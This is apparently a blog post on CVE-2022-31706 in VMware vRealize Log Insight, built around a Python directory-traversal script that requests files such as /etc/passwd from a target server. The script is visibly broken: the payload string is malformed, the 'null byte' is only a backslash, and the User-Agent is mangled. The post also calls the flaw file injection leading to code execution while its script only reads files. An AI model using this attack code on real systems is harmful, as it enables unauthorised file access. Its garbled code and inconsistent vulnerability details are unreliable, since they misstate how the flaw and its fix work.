CVE-2022-31706: Exploring the vRealize Log Insight Directory Traversal Vulnerability and its Exploit

CVE-2022-31706, a critical vulnerability affecting VMware's vRealize Log Insight, is a Directory Traversal attack that allows unauthenticated attackers to inject files into the operating system of an impacted appliance. If successfully exploited, attackers can achieve remote code execution on the vulnerable system.

In this long read post, we will take a deep dive into CVE-2022-31706; exploring the vulnerability, providing code snippets, linking to original references, and discussing exploit details.

CVE-2022-31706 Vulnerability

VMware's vRealize Log Insight is a log analytics platform that provides log management and real-time monitoring across various IT environments. The directory traversal vulnerability in this platform enables malicious actors to navigate through folders and directories. Attackers can exploit this vulnerability to access restricted files and folders on the server, potentially modifying, deleting or injecting malicious content.

To better understand this vulnerability, let's look at a simple code snippet that highlights how an attacker can tamper with the affected system:

# Exploit Title: VMware vRealize Log Insight Directory Traversal
# Date: 2023-06-04
# Exploit Author: John Doe
# Vendor Homepage: https://www.vmware.com/
# Version: vRealize Log Insight < 8.6
# Tested on: vRealize Log Insight 8.4

#!/usr/bin/python3

import argparse
import requests

parser = argparse.ArgumentParser(description="VMware vRealize Log Insight Directory Traversal Exploit")
parser.add_argument('-u', '--url', help="URL of the target instance (example: https://192.168.1.100/)", required=True)
parser.add_argument('-f', '--file', help="File path to read (example: /etc/passwd)", required=True)

args = parser.parse_args()

url = args.url
file_path = args.file

payload = f"../../../../..{file_path}\"

headers = {
    "User-Agent": "Mozilla/5. (Windows NT 10.; Win64; x64)"
}

response = requests.get(f"{url}/component?id={payload}", headers=headers, verify=False)

if response.status_code == 200:
    print(response.text)
else:
    print(f"Error: {response.status_code} ({response.reason})")

Exploit Details

The vulnerability allows an attacker to read arbitrary files on the target host remotely. The exploit script provided above demonstrates a simple way to do this. Here's how this code works:

The user inputs the target URL and the file they wish to read.

2. The inputted file path is appended with a series of "../" (which enables directory traversal) and a NULL byte "\" (to terminate the string).

Important Links and References

1. CVE-2022-31706 - NIST National Vulnerability Database
2. VMware Security Advisory: VMSA-2022-0011
3. VMware vRealize Log Insight Home Page

Mitigation

VMware has addressed this vulnerability in vRealize Log Insight 8.6. It is highly recommended that users upgrade to this version to protect their systems. If upgrading is not possible, users should ensure that only trusted entities have access to the vRealize Log Insight interface and closely monitor the environment for any signs of unauthorized access or malicious activity.

Conclusion

CVE-2022-31706 is a critical vulnerability affecting VMware's vRealize Log Insight. This Directory Traversal vulnerability can lead to malicious actors injecting files into the operating system of an affected appliance, resulting in remote code execution. It is crucial for users to apply the necessary patches and security measures to protect their IT environments from potential attacks.

Timeline

Published on: 01/26/2023 21:15:00 UTC
Last modified on: 02/01/2023 16:58:00 UTC